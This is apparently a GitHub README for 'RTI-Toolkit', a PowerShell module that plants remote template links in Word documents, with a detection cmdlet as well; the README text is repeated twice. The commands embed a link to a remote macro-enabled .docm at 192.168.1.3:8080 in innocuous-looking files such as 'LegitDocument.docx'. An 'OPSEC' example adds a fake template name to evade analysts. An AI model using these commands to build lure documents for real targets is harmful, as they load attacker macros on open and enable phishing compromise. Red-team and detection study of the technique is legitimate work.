nickvourd/RTI-Toolkit
GitHub: nickvourd/RTI-Toolkit
Stars: 49 | Forks: 8
# RTI-Toolkit
Remote Template Injection Toolkit
:information_source: `PS-Templator.ps1` works as PowerShell module.
:information_source: `PS-Templator.ps1` tested on Windows 10 machine with Office 2019 Professional plus. ## Cmdlets ### Invoke-Template `Invoke-Template` is a cmdlet that implements remote template links within default Office Word templates. #### Invoke-Template Example Assuming that you have a default Word template, one like them:  Saved as, for example, 'Name.docx':  If you use `Invoke-Template` cmdlet you can insert a malicious link within this docx: ⚠️ Before running `Invoke-Template`, please make sure to save the document and close it (terminate its process). Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx Outcome:  As you can see, the Invoke-Template module keeps a backup of the original document and provides the full path to the malicious document. From debugging prespective, if you connvert the malicious docx to zip archive and go into /word/_rels/settings.xml.rels, you can see the malicious link:  ### Invoke-Regular `Invoke-Regular` is a cmdlet that implements remote template links within default Office Word documents without templates. #### Invoke-Regular Example Assuming that you have a default Word document without a template, like this:  Saved as, for example, 'Doc1.docx':  If you use `Invoke-Regular` cmdlet you can insert a malicious link within this docx: ⚠️ Before running `Invoke-Regular`, please make sure to save the document and close it (terminate its process). Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx Outcome:  As you can see, the Invoke-Regular module keeps a backup of the original document and provides the full path to the malicious document. From debugging prespective, if you connvert the malicious docx to zip archive and go into /word/_rels/settings.xml.rels, you can see the malicious link:  #### Invoke-Regular Example 2 From an OPSEC perspective, you can use `-TemplateName` in conjunction with the `Invoke-Regular` module. This will make your malicious document appear more legitimate if someone try to analyze it. Here is an example: Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx Outcome:  From debugging prespective, if you connvert the malicious docx to zip archive and go into /docProps/app.xml, you can see the fake template name:  ### Invoke-Identify `Invoke-identify` is a cmdlet that indentifies remote template links within Office Word docx documents with/without template. #### Invoke-Identify Example Assuming that you have a malicious Word document: Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt Outcome:  #### Invoke-Identify Example 2 Assuming that you have a non-malicious Word document: Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt Outcome:  ## References - [ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros) - [dmcxblue.gitbook.io](https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1221-template-injection) - [john-woodman.com](https://john-woodman.com/research/vba-macro-remote-template-injection/) - [remoteInjector GitHub by John Woodman](https://github.com/JohnWoodman/remoteInjector) - [Invoke-Templator GitHub by Outflanknl](https://github.com/outflanknl/Invoke-Templator) - [attack.mitre.org](https://attack.mitre.org/techniques/T1221/) - [BadAssMacros GitHub by Inf0secRabbit](https://github.com/Inf0secRabbit/BadAssMacros)
:information_source: `PS-Templator.ps1` works as PowerShell module.
:information_source: `PS-Templator.ps1` tested on Windows 10 machine with Office 2019 Professional plus. ## Cmdlets ### Invoke-Template `Invoke-Template` is a cmdlet that implements remote template links within default Office Word templates. #### Invoke-Template Example Assuming that you have a default Word template, one like them:  Saved as, for example, 'Name.docx':  If you use `Invoke-Template` cmdlet you can insert a malicious link within this docx: ⚠️ Before running `Invoke-Template`, please make sure to save the document and close it (terminate its process). Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx Outcome:  As you can see, the Invoke-Template module keeps a backup of the original document and provides the full path to the malicious document. From debugging prespective, if you connvert the malicious docx to zip archive and go into /word/_rels/settings.xml.rels, you can see the malicious link:  ### Invoke-Regular `Invoke-Regular` is a cmdlet that implements remote template links within default Office Word documents without templates. #### Invoke-Regular Example Assuming that you have a default Word document without a template, like this:  Saved as, for example, 'Doc1.docx':  If you use `Invoke-Regular` cmdlet you can insert a malicious link within this docx: ⚠️ Before running `Invoke-Regular`, please make sure to save the document and close it (terminate its process). Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx Outcome:  As you can see, the Invoke-Regular module keeps a backup of the original document and provides the full path to the malicious document. From debugging prespective, if you connvert the malicious docx to zip archive and go into /word/_rels/settings.xml.rels, you can see the malicious link:  #### Invoke-Regular Example 2 From an OPSEC perspective, you can use `-TemplateName` in conjunction with the `Invoke-Regular` module. This will make your malicious document appear more legitimate if someone try to analyze it. Here is an example: Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx Outcome:  From debugging prespective, if you connvert the malicious docx to zip archive and go into /docProps/app.xml, you can see the fake template name:  ### Invoke-Identify `Invoke-identify` is a cmdlet that indentifies remote template links within Office Word docx documents with/without template. #### Invoke-Identify Example Assuming that you have a malicious Word document: Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt Outcome:  #### Invoke-Identify Example 2 Assuming that you have a non-malicious Word document: Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt Outcome:  ## References - [ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros) - [dmcxblue.gitbook.io](https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1221-template-injection) - [john-woodman.com](https://john-woodman.com/research/vba-macro-remote-template-injection/) - [remoteInjector GitHub by John Woodman](https://github.com/JohnWoodman/remoteInjector) - [Invoke-Templator GitHub by Outflanknl](https://github.com/outflanknl/Invoke-Templator) - [attack.mitre.org](https://attack.mitre.org/techniques/T1221/) - [BadAssMacros GitHub by Inf0secRabbit](https://github.com/Inf0secRabbit/BadAssMacros)
标签:Libemu